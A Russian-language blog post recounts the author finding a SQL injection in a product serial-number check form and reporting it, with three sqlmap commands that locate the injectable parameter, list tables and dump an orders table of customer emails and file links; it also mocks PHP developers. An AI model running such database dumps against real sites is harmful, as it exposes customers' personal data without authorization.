Published on Feb. 23, 2018
На дворе 2018 год, но, тем не менее, эра простейших SQL-инъекций никуда не ушла и, можно сказать, процветает из-за PHP быдланекомпетентных специалистов. Ходил я по просторам интернета и наткнулся на сайт с формой проверки товара по серийному номеру...
Ну, вот такую форму я вижу. "Явно кривой самопис", -- подумал я. Полез смотреть: форма отправляется на некий файл prod_check.php
Конечно же, интересно было поподставлять всякую дичь в параметры. Но, к огромному удивлению, изощряться не пришлось: при первой же попытке (вместо года [int] -- строка) вывалилась ошибка MySQL. Посетовав на то, что не все люди используют PDO при работе с базой данных, мне стало интересно: а что в базе?
sqlmap -u "http://url.ru/prod_check.php" --method=POST --data "numb=123&prodtype=123&day=1&mon=01&year=2018" -p "numb"
Нашли payload, Посмотрим теперь на названия таблиц БД.
sqlmap -u "http://url.ru/prod_check.php" --tables
А вот и названия таблиц:) Что может быть интереснее *_auth? Ответ: *_order
Посмотрим содержимое *_order
sqlmap -u "http://url.ru/prod_check.php" --dump -D database_name -T *_order
Видим кучу писем с данными заказчиков и интересующихся, а также прямые ссылки на прикрепленные ими файлы. Прям базу забирай, открывай свою контору и по клиентам рассылай свою рекламу. Класс!
Отправив репорт об уязвимости руководству, был сильно удивлен пересланным ответом тех, кто допустил такую уязвимость. Если кратко, то их мнение состояло в том, что ничего страшного не случится, а если злоумышленник очистит базу, то ее легко восстановить из резервной копии. То, что текст страниц, адреса документов и даже номера телефонов берутся из БД их совершенно не смущало. По мнению авторитетного PHP программиста, "этой фигней никто не занимается". Ну, что ж, видимо, это привилегия PHP программистов -- фигней заниматься.
Исследование проводилось с разрешения руководства компании. Данный материал размещен в образовательных целях и не призывает ни к каким действиям.
Created by Sergey Migalin. © 2013-2021